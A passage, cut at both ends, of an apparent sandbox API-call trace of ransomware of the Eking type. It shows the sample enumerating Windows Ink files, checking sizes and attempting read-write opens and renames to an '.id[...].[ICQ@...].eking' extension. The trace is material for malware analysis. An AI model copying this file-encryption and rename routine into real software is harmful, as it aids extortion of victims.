CloseHandle (hObject=0x36c) returned 1 [0231.616] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml")) returned 0x20 [0231.616] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml")) returned 0x20 [0231.616] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0231.616] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.616] SetEvent (hEvent=0x2b8) returned 1 [0231.617] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0231.618] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=805) returned 1 [0231.618] CloseHandle (hObject=0x36c) returned 1 [0231.618] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml")) returned 0x20 [0231.618] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml")) returned 0x20 [0231.618] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0231.618] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.618] SetEvent (hEvent=0x2b8) returned 1 [0231.619] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0231.620] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=3823) returned 1 [0231.620] CloseHandle (hObject=0x36c) returned 1 [0231.620] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml")) returned 0x20 [0231.620] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml")) returned 0x20 [0231.620] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0231.621] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.621] SetEvent (hEvent=0x2b8) returned 1 [0231.621] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0231.621] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=591) returned 1 [0231.621] CloseHandle (hObject=0x36c) returned 1 [0231.621] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml")) returned 0x20 [0231.621] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml")) returned 0x20 [0231.622] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0231.622] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.622] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0231.622] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=9728) returned 1 [0231.623] CloseHandle (hObject=0x36c) returned 1 [0231.623] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\tipresx.dll.mui")) returned 0x20 [0231.623] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\tipresx.dll.mui")) returned 0x20 [0231.623] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\tipresx.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\tipresx.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0231.623] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.624] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0231.624] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=10240) returned 1 [0231.624] CloseHandle (hObject=0x36c) returned 1 [0231.624] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui")) returned 0x20 [0231.624] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui")) returned 0x20 [0231.624] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0231.624] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.625] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0231.625] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=10240) returned 1 [0231.625] CloseHandle (hObject=0x36c) returned 1 [0231.625] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui")) returned 0x20 [0231.625] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui")) returned 0x20 [0231.626] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0231.626] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.626] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0231.628] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=46624) returned 1 [0231.628] CloseHandle (hObject=0x36c) returned 1 [0231.628] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat")) returned 0x20 [0231.628] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat")) returned 0x20 [0231.629] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0231.629] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.629] SetEvent (hEvent=0x2b8) returned 1 [0231.629] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0231.629] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=498624) returned 1 [0231.629] CloseHandle (hObject=0x36c) returned 1 [0231.629] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat")) returned 0x20 [0231.630] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat")) returned 0x20 [0231.630] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0231.630] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.630] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0231.631] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=1100592) returned 1 [0231.631] CloseHandle (hObject=0x36c) returned 1 [0231.631] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat")) returned 0x20 [0231.631] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat")) returned 0x20 [0231.631] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0231.631] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.632] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0231.633] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=2515696) returned 1 [0231.633] CloseHandle (hObject=0x36c) returned 1 [0231.633] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat")) returned 0x20 [0231.633] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0 [0231.634] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id[b4197730-2888].[icq@fartwetsquirrel].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat")) returned 0 [0231.634] SetEvent (hEvent=0x2b8) returned 1 [0231.634] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0231.634] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=3380096) returned 1 [0231.634] CloseHandle (hObject=0x36c) returned 1 [0231.635] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat")) returned 0x20 [0231.635] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0 [0231.635] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id[b4197730-2888].[icq@fartwetsquirrel].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat")) returned 0 [0231.635] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkdiv.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0231.637] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=361472) returned 1 [0231.637] CloseHandle (hObject=0x36c) returned 1 [0231.637] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkdiv.dll")) returned 0x20 [0231.637] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkdiv.dll")) returned 0x20 [0231.637] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkdiv.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0231.637] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkdiv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.638] SetEvent (hEvent=0x2b8) returned 1 [0231.638] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0231.639] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=2018304) returned 1 [0231.639] CloseHandle (hObject=0x36c) returned 1 [0231.639] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll")) returned 0x20 [0231.639] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0 [0231.640] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll")) returned 0 [0231.640] SetEvent (hEvent=0x2b8) returned 1 [0231.640] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InputPersonalization.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inputpersonalization.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0231.641] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=367104) returned 1 [0231.641] CloseHandle (hObject=0x36c) returned 1 [0231.641] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InputPersonalization.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inputpersonalization.exe")) returned 0x20 [0231.642] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InputPersonalization.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inputpersonalization.exe")) returned 0x20 [0231.642] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InputPersonalization.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inputpersonalization.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0231.642] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InputPersonalization.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inputpersonalization.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.642] SetEvent (hEvent=0x2b8) returned 1 [0231.642] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsar.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0231.645] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=2418) returned 1 [0231.645] CloseHandle (hObject=0x36c) returned 1 [0231.645] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsar.xml")) returned 0x20 [0231.645] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsar.xml")) returned 0x20 [0231.645] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsar.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0231.645] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml" (normalized: "c:\\program files\\common files\\microsoft 